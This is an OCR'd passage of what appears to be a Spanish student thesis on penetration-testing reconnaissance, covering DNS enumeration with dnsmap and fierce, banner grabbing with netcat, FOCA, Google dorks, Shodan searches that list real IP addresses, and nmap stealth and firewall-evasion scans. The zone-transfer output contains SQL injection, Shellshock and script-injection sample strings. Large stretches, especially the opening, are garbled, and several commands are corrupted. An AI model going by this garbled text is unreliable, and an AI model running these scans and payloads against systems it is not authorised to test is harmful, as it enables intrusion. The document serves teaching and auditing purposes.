IPv6 addr

IPv6 addr :
IPv6 addr #8:

ldce:
1ldco:
1dco:
1dco:

158
:CH00:
13000
:6200: 1ldce:
:b400: : 1ldco:
:cP0:3:59a3:1dcO:9

:1600 3: 59da 1ldce:

o

Wwwwww

[ I O S T 6 T T S R Y ) —h
=}

o

staging. 4nnrtr
IP add
IP add
IP add
IP add

(1]

.me
.90,
.90.
.90.:
.90,

W w

w
NN S

w

Img 13: Ejemplo de uso de DNSMAP. 1

home.zonetransfer.
IP addr #1: 127.0.0.1
[+] warning: domain might be wulnerable to "same site" scripting (http://snipurl.com/etbcv)

owa.z r.me
IP address #1: 207.46.197.32

staging.zonetransfer.me
#1: 2600:9000:
E 2600:9000:
2600:9000:
2600:9000:
2600:9000:
2600:9000:
2600:9000:
2600:9000:

:1e00@:
:5800:
:CH00:
13000

:1dc8:9
:1dcB:9
:1dce:9
9
9
9

W w

w

+1dco:
:6200: : 1dce:
:b400: :1dcB:93a
:c00:3: 59a3 1dc®:93al
:1600:3:5%a3:1dce:93al

Wwwww

U'l
o
W

I I S I ST 8 )
W w

NRNMNNMNNNR
W w

w

IP address #1:
IP addr
IP addr
IP addr

L’J EJJ LIJ LIJ [§:]
NN RN S

vpn.zonetransfer.me
IP address #1: 174.36.59.154

www . zonetransfer.me
IP addr #1: 5.196.105.14

[+] 7 (sub)domains and 17 IP address{es) found
[+] completion time: 104 second(s)

Img 14: Ejemplo de uso de DNSMAP. 2
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En el caso de FIERCE nos quedaria de la siguiente manera:

“fierce -dns <Dominio>"

:~# fierce -dns zonetransfer.me
for zo ransfer.me:
ml.digi.ninja

ztm2.digi.ninja

e transfer first...
ting nsztml.digi.ninja

- misconfigured DNS server found:
7200 IN SDA { nsztml.digi.ninja. robin.digi.ninja.
2017042001 ial
172800 ; :
900
1209600
3600

300 IN HINFO "Casio Tx-700G" "Windows XP"
301 IN TXT {
te-verification=tyP2817JAUHA9 Tw2sHXMgcCCOI6EXBmmoVio4V1MewxA )

7200 IN MX 0 ASPMX.L.GOOGLE.COM.

7200 IN MX 10 ALT1.ASPMX.L.GOOGLE.COM.

7200 IN MX 10 ALTZ2.ASPMX.L.GOOGLE.COM.

7200 IN MX 20 ASPMXZ.GOOGLEMAIL.COM.

7200 IN MX 20 ASPMX3.GOOGLEMAIL.COM.

7200 IN MX 20 ASPMX4.GOOGLEMAIL.COM.

7200 IN MX 20 ASPMX5.GOOGLEMAIL.COM.

7200 IN A 5.196.105.14

. 7200 IN NS nsztml.digi.ninja.

zonetran . 7200 IN NS nsztm2.digi.ninja.
_sip._tcp.zonetransfer.me. 14000 IN SRV 0 0 5060 www.zonetransf
14.105.196.5.IN-ADDR.ARPA etransfer.me. 7200 IN PTI Www
asfdbauthdns.zonetransfer.me. 7900 IN AFSDB 1 asfdbbox.zonetrans

e.zonetransfer. )
IN A 74.125.206.26
IN A 127.0.0.1
IN TXT {
e provided by Robin Wood - robin@digi.ninja. http://digi.ninja/proj
information."

300 IN NS
. 300 IN NS
300 IN A 81.4.108.41
300 A 167. 42 .94
7200 A 4.23.39.254
IN AAAA 2001:67c:2
A 207.46.197.32
IN i
RP ( robin.zonetransfer.me.

E2U+sip
)
1
1
J

NAPTR 23P
; .

"' or 1=
ock -L.me. IN TXT () { :1 y ShellShoc "
taging. rans .me. 7200 IN CNAME  www.sydneyoperaho .com.
.test.zonetransfer.me. 301 IN A 127.0.0.1
e . 301 IN CNAME www.zonetransfer.me.
4000 IN A 174.36.59.154
7200 IN A 5.196.105.14
300 IN '=escript>alert\('Boo'\)</script>

isn't much point continuing, you have erything.
e day.

Img 16: Ejemplo de uso de |la herramienta Fierce. 2
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e Andlisis del banner de servicios

El andlisis del banner de servicios o “Banner Grabbing” es una técnica bastante simple
con la que, a través del banner que ofrecen los servicios, se puede obtener informacidn
acerca de la infraestructura o el sistema que se encuentra detrds de una aplicacién web o
servicio. Esta técnica esta estrechamente relacionada con el Fingerprinting de Sistemas
Operativos.

Entre multitud de opciones disponibles en Kali para llevar a cabo esta técnica
destacamos ncat, una evoluciéon de la tradicional Netcat, que ademas ofrece una serie de
funcionalidades que hacen mas sencillo su uso.

Para su utilizacidon se le debe indicar la direccidn hacia la cual intentara realizar la
conexién y ademas se le podra indicar un rango de puertos sobre los que realizar la
conexién. Estas caracteristicas la convierten en una herramienta simple y potente para
analizar varios tipos de servicios asociados a una misma direccién IP.

El comando que se utilizard para obtener la mdxima informacién posible del intento de
conexién con cada uno de los puertos serd el siguiente:

o“n

“echo “” | nc —v —n —w1 <DireccionlP> <Puertol>-<PuertoN>"

:~# echo "" | nc -v -n -wl 192.168.1.104 982
(UNKNOWN) [19: 1.104] 982 (?)

220 VMware Auth cation Daemon Ve on 1.1@: SSL Required, ServerDaemonProtocol:S0AP, MKSDisplayProtoc
ol:VNC , , NFCS¢ upported/t

Img 17: Analisis del Banner del servicio

Otra importante herramienta con la que se podria analizar el banner que ofrece un
servicio es NMAP. Para mostrar el banner del servicio tras el escaneo se deben indicar
como opciones “-sV” a parte de las demdas opciones de escaneo adicionales que se quieran
afadir. Mds adelante se detallara el funcionamiento y algunas de principales funciones que
se pueden llevar a cabo con esta potente herramienta, en este caso el comando quedaria
del siguiente modo:

“nmap -sV <DireccionlP o Dominio>"

:~# nmap -sV 192.168.1.1 -p 80

Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-15 16:37 EDT
Nmap scan report for liveboxfibra (192.168.1.1)

Host is up (0.0062s5 latency).

PORT STATE SERVICE VERSION

80/tcp open http DD-WRT milli httpd
MAC Addr E0:51:63:B3 34 (Arcadyan)
Service Info: 05: Linux; ice: WAP; CPE: cpe:/o:linux:linux_kernel

e detection performed. Please report any incorre 1lts at https://nmap.org/submit/
Nmap done: 1 IP adc (1 host up) scanned in 7.44

Img 18: Uso de NMAP para anlisis del Banner
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FOCA ( Fingerprinting organizations with collected archives).

Esta herramienta es utilizada para extraer metadatos e informacién oculta de
documentos. Los metadatos que extrae FOCA pueden contener mucha informacién valiosa
para el auditor asi como, usuarios, software que creé el documento y versidon de éste, etc.
Los documentos que FOCA analiza pueden encontrarse alojados en un servidor web y
simplemente indicandole el dominio o la direccién IP donde se encuentra el servidor ésta
buscard los documentos alojados en él. Una vez se encuentren los documentos alojados en
un servidor, FOCA podrd descargarlos para posteriormente analizarlos y extraer asi sus
metadatos.

FOCA es un proyecto Open Source y se puede descargar de manera gratuita desde su
pagina web “https.//www.elevenpaths.com/es/labstools/foca-2/index.html”.

Una vez descargada e instalada la herramienta habra que crear un nuevo proyecto e
indicar el dominio sobre el que se van a buscar los documentos y el nombre identificativo
del proyecto.

1=|Project =/ Report Tools <37 Options (3 TaskList [ Plugins 5 About
@ No project
i Network
—~ Domains
3 Roles
@ Vulnerabilties
-1 Metadata
Project name |TFG |
Domain website |unex &8 |
Alternative domains ‘ ‘
Falder where save documents |C '-.Users".Rieger'-DEsktup'-.FOCA_TFGl D
Project date [2210/2018 20:25.48 |
Project notes ‘ ‘
Lutosave project each 5 = minutes
J T Create @ Cancel
Time Source Severity Message
4 Conf 3] Deactivate AutoScroll “Clear a Save log to File

|

Img 19: Uso de FOCA. 1

Una vez se haya creado el proyecto con el dominio que se va a analizar se indicaran los
motores de busqueda que se utilizaran, las extension de documentos que mas interesen al
auditor y se ejecutard el escaneo.
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&7 al version) 3.4 — O x
55 Project 55 Report 'Tools 3 Options (3 TaskList Plugins é_-'About
E @ TFGNetwom Searchengines Extensions
i] Damin Google doc [Jxls [ Jppsx []sxc
(9 Roles Bing [ pet docx [Jxdsx [Jsx
@ Vulnerabilties [] Exlead DEM e [Joxw Lot
- Metadata Al HNone i v
Custom search ¢ @ aeglrlcn
Id Type URL Download Download Date Size  Analized
Time Source Severity Message
| |1 Conf | |5 Deactivate AutoScroll | |42 Clear [=] savetog to File

Img 20: Uso de FOCA. 2

Cuando el escaneo termine se mostrard una lista con todos los documentos
encontrados. Para poder analizar los documentos en primer lugar habra que descargarlos y
posteriormente se indicard a FOCA que los analice, con lo que mostrara toda la informacidn
extraida en forma de arbol de directorios en la parte izquierda de la interfaz.

@ TFG - FOCA (final version) 3.4 - O x
;E Project ;E Report !Tools ;2 Options () TaskList Plugins 5About
E“ TFGNetwurk Searchengines Extensions
i] Domains Google doc [Juds  [Jppsx [] e
(4 Poles Bing [ ppt docx [xlsx []sxi
) pps ppte B odt
@ Vulnerabilties [ Exalead U U U
B Metadata Al None 3 2
Custom search @ “’lerfm
Id Type URL Download Download Date Size  Anali: ™
o2 1038 pcf | hitp://cienciadesorte.eweb.unex.es/congreso/ 04%2bva, x| ____[x |
2 1035  pdf hitp://matematicas unex es/~sancho/AlgebraConmutati... x - x
1040 pdf http://dehesa unex.es/bitstream/handle/10662/2683/0... x X
2 1041 pdf hitp://imsturex unex.es/MUIETSIG/TEMAT pdf x x
T1042  pdf http://dehesa unex es/bitstream handle/10662/5349/_. b3 X
2 1043 pdf hitp://matematicas unex es/~montalvo/Analisis_Varias_, x x
1044 pdf http:/fecienciade eweb unex es, idad/8/At2pdf % x
E 1045  pdf hitp://dehesa unex.es/bitstream /handle,/ 106621256/ T, x x
1046 pdf http:/ fnuestramusica unex es/nuestra_musica,folklore/c x x
2 1047 pdf hitp://merkado unex.es/download/Parte % 20| pdf x X
T_. 1048  pdf http://dehesa unex es/bitstream handle/10662/2172/1 x x
hyehli"L] nf hitri-/ /dehesa Liney 22 /hitetream handle /1GR2 /12552 w » v
< >
Time Source Severity Message ~
20:37:33  Fuzzer high Insecure methods found ftrace) on hitp://grupoorion unex.es:8001/
20:37.34  Fuzzer high Insecure methods found trace) on hitp://grupoorion unex.es:8001/id=1273076255062_1527971887.
20:37.34  Fuzzer high Insecure methods found frace) on hitp //grupoorion unex.es/
20:37:34  Fuzzer high Insecure methods found frace) on hitp://grupoorion unex.es/fid=1273076255062_1527971887_434
20:37.35  Fuzzer high Insecure methods found frace) on hitp //grupoorion unex.es:8001/id=1125341747762_107728459_1
20:37:37  Fuzzer high Insecure methods found frace) on hitp//grupoorion unex es/id=1125541747762_10772845_1959/ v
) Conf | () Deactivate AutoScroll | | Clear [=|Savelog to File
Search done

Img 21: Uso de FOCA. 3
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Descargando y analizando cualquiera de todos los documentos publicos del dominio se
puede ver la informacién que FOCA es capaz de extraer y el tremendo potencial de la
misma.

* Project ]-'Rapnrt ‘Tools - 2Options 3/ TaskList [ Plugins g;Ahnut

-y Network Adtribute: WValue

—~ Domains

{% Roles
ulnerabiliies

All operating systems found (1) - Times found
Windows XP 1

etadata
Documents (1/1107)

3 Servers (0)

Time Source Severity Message

i Conf | |[) Deactivate AutoSeroll | |25 Clear [l 5ave log to File

All documents were analized

Img 22: Uso de FOCA. 4

Cabe destacar que hasta el momento en el que el auditor descarga alguno de los
documentos encontrado, el proceso es de cardcter pasivo, pues FOCA no interacciona en
ningin momento directamente con el dominio. Cuando se descarga alguno de los
documentos para realizar el analisis de los metadatos, el proceso pasa a ser activo, pues
para realizar la descarga hay que establecer comunicacién directamente con el dominio.

Footprinting Pasivo

Google Hacking

Se trata de una técnica en la que se hace uso de los operadores avanzados del motor de
busqueda de Google, aunque también se podria utilizar Bing, para localizar cadenas
especificas de texto dentro de los resultados de busqueda.

Las sentencias que se construyen en base a los operadores avanzados de Google son las
llamadas Dorks, que sirven tanto para realizar busquedas mas avanzadas como para
encontrar paginas vulnerables. Enfocando una Dork al servicio web que la organizacién
tenga publico en internet se podrd obtener otra via para comprobar la seguridad de dicha
pagina o servicio web.
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A continuacidn se muestran los principales filtros avanzados para construir las “Dork”:

e inurl:(panel) El buscador mostrara todos los resultados tal que en su url se
encuentre la palabra ‘panel’.

¢ intitle:(inicio) El buscador mostrara todos los resultados tal que en su titulo de
pagina se encuentre la palabra ‘inicio’.

¢ intext:(contraseina) El buscador mostrara todos los resultados tal que en el texto se
su pagina se encuentre la palabra ‘contraseiia’.

o filetype:(pdf) El buscador mostrara todos los resultados que sean del tipo pdf. Esta
extension se puede reemplazar por php, html, jpg o cualquier otra.

e site:(unex.es) El buscador mostrara todos los resultados tal que su dominio sea
‘unex.es’.

e . (punto) Comodin, cualquier palabra, ya sean una o varias palabras.

e *(Asterisco) Comodin, solo una palabra.

e “”(comillas) Busca la frase exacta entra las comillas.

e And or not (operadores) Operadores légicos.

e +(incluir).

e - (excluir).

e link: Solo busca en paginas que tienen un link a una determinada web.

e inanchor: Solo busca en paginas que tienen en el texto de enlace la expresion
buscada.
e cache: Muestra el resultado en la cache de Google de una pagina web.

e related: Busca webs relacionadas con una determinada.
Se puede poner mas de una palabra (esto sirve para todo los comandos), por ejemplo:

e intext:(contraseiia usuario) Muestra los resultados que tengan la cadena
‘contrasefia usuario’.

e intext:(contraseia & usuario) Muestra los resultados que tengan ‘contrasefia’y
‘usuario’.

e intext:(contrasefa | usuario) Muestra los resultados que tengan ‘contrasefia’ o
‘usuario’.

También es posible eliminar resultados de la blsqueda (esto sirve para todo los
comandos), por ejemplo:

e intext:(contraseifa usuario) -intext:(cuenta) Muestra los resultados que tengan la
cadena 'contrasefia usuario' y que no tengan la palabra 'cuenta’.

Protocolo Whois

Whois es un protocolo TCP basado en peticidén/respuesta que se utiliza para realizar
consultas en una base de datos que permite determinar el propietario y demas informacion
de un dominio o una direccién IP en internet.
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El protocolo Whois se ejecuta comUnmente sobre linea de comandos, aunque también
existen diferentes pdaginas web sobre las cuales también se puede ejecutar.

Para ejecutar el protocolo por linea de comandos simplemente se debe indicar el
dominio o la direccidn IP sobre las que se quiere realizar la consulta, quedando el comando
de la siguiente manera:

“whois <Dominio>"

ton V

Jnited

Img 23: Protocolo WHOIS

Como se puede apreciar el, comando devuelve una lista con bastante informacién
acerca del dominio que hemos indicado. Toda la informacidon que se obtiene mediante el
protocolo WHOIS es publica, por lo que se puede consultar en cualquier momento de
manera totalmente legal.

En ocasiones cuando una organizacion registra un nombre de dominio, aporta una serie
de datos que pueden ser de gran utilidad para la realizacidon de una auditoria, datos que
probablemente la organizacién desconoce que sean publicos. Entre la informacion que
aporta este protocolo se pueden encontrar nimeros de teléfono o correos personales
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entre otros, los cuales pueden ser una gran baza para la realizacion de un ataque de
Ingenieria Social.

Servicios On-Line para el andlisis pasivo de sistemas

Existen en la red una serie de servicios de busqueda e indexacién de datos
especialmente enfocados al analisis y al descubrimiento de todos los equipos conectados a
internet. Ademds de detectar los equipos conectados, ofrecen gran cantidad de
informacién acerca de los mismos como los servicios que tienen habilitados y en ocasiones
hasta las versiones software de cada uno de ellos.

El mds conocido es SHODAN, con el cual cualquier persona con un minimo de
conocimientos de informatica, mediante el uso de los operadores avanzados de busqueda,
puede encontrar sistemas vulnerables en cualquier punto del planeta. El objetivo de
SHODAN es recorrer todo internet e indexar todos los sistemas activos que encuentre asi
como el banner que los servicios de estos sistemas ofrecen.

El uso de esta herramienta puede ser realmente util para el auditor pudiendo obtener
gran cantidad de informacidn interesante sin interaccionar directamente con la
organizacién que pretende auditar.

En primer lugar habrd que acceder a la pagina web “www.shodan.io” en la cual se
recomienda registrarse de manera gratuita para asi tener acceso a mas registros por
busqueda y a los operadores de busqueda avanzados.

.'. SHODAN _ (o} * Explore Downloads Reports Developer Pricing Enterprise Access Contact Us

& My Account Upgrade

The search engine for |Réfrigerators

Shodan is the world's first engine for Internet-connected d

Create a Free Account Getting Started

Explore the Internet of Things See the Big Picture

Use Shodan to discover which of your devices are connected to the Internet,
where they are located and who is using them

Websites are just one part of the Internet. There are power plants, Smart TVs,
refrigerators and much more that can be found with Shodan!

Monitor Network Security Get a Competitive Advantage

Keep track of all the computers on your network that are directly accessible Who is using your product? Where are they located? Use Shodan to perform
from the Intemnet. Shodan lets you understand your digital footprint empirical market intelligence.

o =

56% of ﬁune 100 1,000+ Universities

Shodan is used around the world by researchers, security professionals, large enterprises, CERTs and everybody in between.

Img 24: Servicio web SHODAN
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Una vez realizado el registro en la pagina se puede utilizar el buscador con los criterios
de busqueda que se consideren oportunos. El buscador que SHODAN ofrece, buscara las
coincidencias de la cadena de texto que se le indiquen con el banner o respuesta de los
servicios que tenga indexados y éste serd el resultado que mostrara por pantalla. Como se
ha senalado anteriormente, este buscador dispone de una serie de operadores de
busqueda avanzados con los que se puede especificar una busqueda mucho mds concreta,
pudiendo ademds combinarlos de la manera que mejor se adapte al resultado que
esperamos. Algunos de estos operadores son los siguientes:

- “country”: Permite filtrar la bisqueda Unicamente por el pais que le
indiguemos.

- “city”: Permite filtrar la busqueda por ciudad.

- “port”: Permite filtrar la busqueda por el puerto que tenga abierto o el servicio
gue esté ejecutando.

- “net”: Permite buscar una direccion IP especifica o un rango de red.

- “hostname”: Permite filtrar la bisqueda por nombre de host o dominio.

- “os”: Para realizar busquedas por sistema operativo.

- “title”: Permite filtrar la busqueda por el texto que aparezca en el titulo del
servicio. Este operador se usa principalmente para servicios web.

- “org”: Permite el filtrado de la busqueda en base al nombre de la organizacién.

- “-<Operador>": Se trata del operador negacion. La cadena <Operador> puede
referirse a cualquiera de los operadores vistos, mostrando de este modo todos
los resultados que no coincidan con éste.
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Algunos ejemplos del uso de los operadores de busqueda vistos pueden ser los
siguientes:

Busqueda de los servidores apache en Espafia:

“Apache country:es”

f. SHODAN |Apache country-es Q * Explore Downloads Reports Developer Pricing Enterprise Access Contact Us

& My Account

#% Exploits *% Maps W Share Search & Download Results |l Create Report

© Bpublicity
282,498
Comvive Servidores S.L.
= spsin
e B RO A
“animate.css
&
Details.
v
Spain 282,498 5.56.56.238
Gigas Hosting SL
&= spain
Madrid 30,241
Details.
Barcelona 16,633
Valencia 4743
Sevilla 3308
e 288 80.102.151.73
Orange Espana
HTTP 127,316 EZ Soain, Hospitalet De Licbregat
HTTPS 81,652 Details
HTTP (8080) 41202
a081 as7
HTTPS (8442) 4204
Orange Espana 31,208
Telefonica de Espana 25,463 Default Web Site Page
OVH Hosting 927
Vodsfone: Spam 16879 Unelink Telecom, S.A.
Telefonica de Espana Static IP 15,444

B2 spain, Madnid
Details

Img 25: Ejemplo de uso de SHODAN. 1
Busqueda de sistemas en un rango de red con el puerto 21:

“net:158.49.17.0/24 port:21”

." SHODAN net158.49.17.0/24 port:21 Q # Expore  Downloads  Reports  DeveloperPricing  Enterprise Access  Contact Us
& My Account
#% Exploits % Maps & Download Results Ll Create Report
158.49.17.20
1 Universidad de Extremadura

== Spain, Badaioz
Details tine is
perinental FTP server. If have any unusual problems

port them via e-mail to srootéenilio.unex.es>

s
Spain 1
Universidad de Extremadura 1
PrafTPD 1

Img 26: Ejemplo de uso de SHODAN. 2
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Busqueda de servicios TELNET (Puerto 23) en Madrid con el sistema operativo

“Linux”:

“city:Madrid port:23 os:Linux”

#% SHoDAN

#% Exploits % Maps

30

Spain

Telefonica de Espana
Jazz Telecom SA

Orange Espana

Vodafone Spain

Telefonica de Espana Static IP

Linux 2.6.x

Linux 2.4

Busqueda

aparezca la palabra “porta

#% SHopaN

#% Exploits

Apache host:unex es —title:Portal Q «

city:Madrid port:23 osLinux Q # Explore Downloads  Reports  DeveloperPricing  Enterprise Access  Contact Us
&MyAccount | Upgrade
® Share Search & Download Results |l Create Report
88.9.79.72
Linux 2.4.x

Telefonica de Espana

= Spain, Madrid

Details

87.217.244.9

Linux 2.6.x

Jazz Telecom SA
3 = Spain,

Details.

Madrd

193.125.79.82

Linux2.6.x
Vodafone Spain

NN oo S

2= Soain, Madrid

Details

95.18.239.144
Linux 2.6.x

2 Jazz Telecom SA.
EZ Spain, Madnd
Details

88.11.48.165

Linux 2.6.x
Telefonica de Espana

2= Spain, Madrid
Details

148.3.17.218

Linux 2.6.x
Vodafone Spain

= sesn, Madn

Nataite

Img 27: Ejemplo de uso de SHODAN. 3

de los servidores Apache activos del dominio “unex.es” en cuyo titulo no

|”_

“Apache host:unex.es —title:Portal”

Explore  Downloads  Reports  DeveloperPricing  Enterprise Access  Contact Us

& My Account Upgrade

Img 28: Ejemplo de uso de SHODAN. 4
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4.2.1 Fingerprint

El objetivo de esta fase es obtener la firma digital de los servicios web mediante una
serie de técnicas y herramientas para obtener asi informacién acerca del Sistema Operativo
del servidor, tipos y versiones de servicios, etcétera. Saber el tipo y version del servidor en
ejecucion permitird al auditor determinar las vulnerabilidades conocidas y los Exploits
adecuados para efectuar el test de intrusién.

Identificacion de servicios publicos

Para la identificacion de servicios publicos se utiliza Nmap, una de las herramientas mas
completas y potentes disponibles en Kali. Nmap dispone de una inmensa cantidad de
opciones y funcionalidades las cuales utilizadas correctamente pueden facilitar en gran
medida las labores del auditor.

Puede ser utilizada de forma sencilla como por ejemplo: “nmap <DirecciénIP o
NombreDominio>" o haciendo uso de complejos comandos con los que obtener resultados
de manera mucho mas especifica. A continuacidn se detallan algunas de las opciones mds
interesantes que ofrece esta herramienta para las labores que se van a realizar.

Al ejecutar el comando basico que se ha mencionado anteriormente se obtiene la
siguiente informacién acerca de la direccién IP o el nombre de dominio que se le indique:

:~# nmap 192.168.1.1
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-15 16:59 EDT
Mmap scan report for liveboxfibra (192.168.1.1)
Host is up (©.8083s ;
Mot shown: 994 clo
PORT STATE
53/tcp open
go/tcp
139/tcp

6969/tcp
8080/tcp filtere
MAC Address: E0:51:63:B3:C6:34 (Arcadyan)

n
n
445/tcp n
n
t

d http-proxy

Mmap done: 1 IP address (1 host up) scanned in 1.54 seconds

Img 29: Uso de NMAP para identificacion de servicios

Como se puede apreciar el escaneo anterior devuelve los servicios y los puertos
abiertos sobre la direccidn que se le ha indicado. Un modo mas discreto de hacerlo sin dejar
rastro seria indicando la opcién “-sS”. El comando quedaria de la siguiente forma:

“nmap —sS <DireccionIlP o NombreDominio>"
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:~# nmap -s5 192.168.1.1
Starting Nmap 7.78 ( https://nmap.org ) at 2018-10-15 17:01 EDT
Mmap scan report for liveboxfibra (192.168.1.1)
Host is up (©0.0017s latency).
Mot shown: 994 closed ports
PORT STATE SERVICE
53/tcp open domain

80/tcp  open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
6969/tcp open acmsoda
8080/tcp filtered http-proxy
ess: E@:51:63:B3:C6:34 (Arcadyan)

Nmap done: (1 host up) scanned

Img 30: Uso de NMAP para identificacion de servicios. 1

Algunas de las opciones de escaneo mdas comunes que se pueden utilizar en esta
herramienta son las siguientes:

e sT:Seintenta hacer un barrido de puertos por TCP la ventaja de esta técnica es que
no requiere usuarios privilegiados, opuesto a sS.

e sU: Se intenta hacer un barrido de puertos por UDP, es util cuando se intentan
descubrir puertos de nivel superior que pueden estar detras de un firewall, lenta
pero permite hacer auditorias mas exactas.

e sA:Se usan mensajes de ACK para lograr que sistema responda y asi determinar si
el puerto estd abierto algunos Firewall no filtran estos Mensajes y por ello puede
ser efectivo en algunos casos.

e sX: Puede pasar algunos Firewall con malas configuraciones y detectar servicios
prestandose dentro de la red.

e sN: Puede pasar algunos Firewall con malas configuraciones y detectar servicios
prestandose dentro de la red

o -f:Se utiliza el fragmentado de paquetes para asi poder pasar algunos Firewall con
malas configuraciones y detectar servicios prestandose dentro de la red

e -sP: Este modificador ayuda a identificar que sistemas estan arriba en la red (en
funcionamiento) para luego poder hacer pruebas mas especificas, similar a Ping.

e -sV:Intenta identificar la versidn de los servicios con puertos abiertos en el sistema.
Esto permite evaluar cada servicio de forma individual para intentar ubicar
vulnerabilidades en los mismos.

e -sO: Con esta opcidn se identifica qué protocolos de nivel superior a capa tres (Red
o Network) responden en el sistema, de esta manera es mas facil saber las
caracteristicas de la red o el sistema que se intenta evaluar.

e -Pn: Al indicar esta opcion la herramienta no realizara ping sobre el/los objetivos
del escaneo.

e --open: Tras realizar el escaneo solo mostrard los servicios con puertos abiertos
descubiertos.
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e -sC: Con esta opcion se habilitara el lanzamiento de scripts, lo que significa que
cuando Nmap se encuentre con algun servicio activo lanzara una serie de scripts
que tiene definidos para intentar obtener mas informacion acerca de éstos.

e -O:Alindicar esta opcion Nmap intentard identificar el sistema operativo del
objetivo.

e -A:Esta opcion le indicard a Nmap que realice un tipo de escaneo intensivo. Esta
opcién ademas ejecutara “-0”, “-sC” y un “traceroute” del objetivo.

Ademas de éstas, se pueden especificar otras opciones que permiten explotar aun mas
la herramienta. Aquellas mas comunmente utilizadas son las siguientes:

e -b: Para determinar si la victima es vulnerable al "bounce attack".

e -n: No hace conversiones DNS para hacer el “-sP” mas rapido.

e -vv: Hacer la salida de la herramienta detallada en pantalla.

e -oN: Redirige la salida a un archivo de texto.

e -oX: Redirige la salida a un archivo XML.

o --stylesheet: Con esta opcidn se usa una hoja de estilo que hace mas facil la lectura
de la salida en XML.

e p:Se usa para especificar puertos de analisis o rango de puertos.

e T:Se usa para especificar la velocidad general del escaneo de esta forma se puede
pasar inadvertido en algunos sistemas que detectan la velocidad de los paquetes
entrantes. El indicador de velocidad podra ir desde 1, siendo éste el mas lento,
hasta 5, el mas rapido.

Algunos ejemplos de uso con diferentes opciones pueden ser los siguientes:

e “nmap -T4 —f <DirlP o NombreDominio>": Realiza un escaneo simple de puertos
con opcidn de fragmentacion TCP y velocidad de escaneo.

:~# nmap -T4 -f 192.168.1.1
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-15 17:02 EDT
Mmap scan report for liveboxfibra (192.168.1.1)
Host is up (@.0045s latency).
Mot shown: 994 closed ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
6969/tcp open acmsoda
8080/tcp filtered http-proxy
MAC Address: E0:51:63:B3:C6:34 (Arcadyan)

Nmap done: 1 IP (1 host up) scanned in 1.66 seconds

Img 31: Ejemplo de uso de NMAP. 1
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e  “nmap —-sV -T4 —f —version-light < DirlP o NombreDominio>": Realiza un escaneo
de los servicios que corren en el destino indicado con la opcidn de fragmentacién
TCP y de velocidad de los paquetes como contramedida a un posible firewall.

:~# nmap -sV -T4 -f --v ion-light 192.168.1.1
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-15 17:04 EDT
Nmap scan report for 1i oxfibra (192.168.1.1)

Not shown: 994 cl
PORT STATE . VERSION
dnsmasqg 2.75
DD-WRT milli httpd
Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
tcpwrap
http-pr
63:B3:C6 (Arcadyan)
Service Info: 0S: Linux; ice: WAP; CPE: cpe:/o:linux:linuw

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds

Img 32: Ejemplo de uso de NMAP. 2

e  “nmap —vv —Pn —sF —p135 < DirlP o NombreDominio>": Escaneo que puede pasar
desapercibido en algunos Firewalls.

:~# nmap -vv -v -Pn -sF -pl35 192.168.1.72

Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-22 15:00 EDT

Initiating ARP Ping Scan at 15:00

Scanning 192.168.1.72 [1 port]

Completed ARP Ping Scan at 15:00, 0.28s ysed (1 total hosts)

Initiating Parallel DNS resolution of 1 h . at 15:00

Completed Parallel DNS r ution of 1 h . at 15:00, 4.00s elapsed
resolution of 1 IPs took 4.00s. Mode: Async [#: 1, OK: 1, NX: @, DR:

e, T 2, CN: 0]

Initiating FIN Scan at 15:00

Scanning Silvia.home (192.168.1.72) [1 port]

Completed FIN Scan at 15:00, 0.44s elapsed (1 total ports)

Nmap scan report for Silvia.home (192.168.1.72)
Host is up, r ed arp- ponse (0.848s latency).
Scanned at 2018-10-22 15:00:04 EDT for 5s

PORT STATE SERVICE REASON
135/tcp open|filtered msrpc no-response
MAC Address: :E@:8F:4D (Hon Hai Precision Ind.)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP addr (1 host up) scanned in 4.91 seconds
Raw packet ent: 4 (136B) | Rcvd: 1 (28B)

Img 33: Ejemplo de uso de NMAP. 3
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¢  “nmap —vv —P0 —sS —f < DirlP o NombreDominio>": Escaneo realizado con
fragmentacion TCP. Se trata del escaneo mas “silencioso”.

:~# nmap -vv -P@
Warning: The -P@ option is depre ed. ease
Starting Nmap 7.70 ( https://nmap.org ) 2018-10-15 17:06 EDT
Initiating ARP Ping Scan at 17:06
Scanning 192.168.1.1 [1 port]
Completed ARP Ping Scan at 17:06, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:06
Completed Parallel DNS resolution of 1 host. at 17:06, ©.01s elapsed
Initiating SYN Stealth Scan at 17:06
Scanning liveboxfibra (192.168.1.1) [1000 ports]
Discove open port 80/tcp on 192.168.1.1
' en port 445/tcp on 192.168.1.1
port 139/tcp on 192.168.1.1
port 53/tcp on 192.168.1.1
3 en port 6969/tcp on 192.168.1.1

Completed SYN Ctn—dlth Scan at 17:06, 1.41s elapsed (1000 total ports)
Mmap scan report for liveboxfibra (192.168.1.1)
Host is up, received arp-response (8.0887s latency).
Scanned at 2018-10-15 17:06:40 EDT for 1s
Not shown: 994 closed ports
Reason: 994 resets
PORT STATE SERVICE REASON
53/tcp open domain S a ttl
80/tcp open http a ttl
139/tcp open netbios-ssn a ttl
445/tcp open microsoft-ds 3 ttl
6969/tcp open acmsoda 3 ttl
8080/tcp filtered http-proxy -response
MAC Address: E0:51:63:B3:C6:34 rcadyan)

Read data files from: fusr/bin/../share/nmap
Nmap done: 1 IP add (1 host up) scanned in 1.65 seconds
Raw packets sent: 1002 (44.072KB) | Rcvd: 1000 (40.008KB)

Img 34: Ejemplo de uso de NMAP. 4

4.3 Analisis de vulnerabilidades

Una vez se ha obtenido la mayor cantidad de informacidon posible acerca de la
organizacién se procedera al andlisis de ésta con el fin de encontrar todos los posibles fallos
de seguridad existentes en los distintos equipos que se hayan logrado enumerar.

Las vulnerabilidades que se pueden encontrar en éste punto pueden ser de dos tipos:

e Vulnerabilidades de configuracion: ocurren cuando no se ha configurado
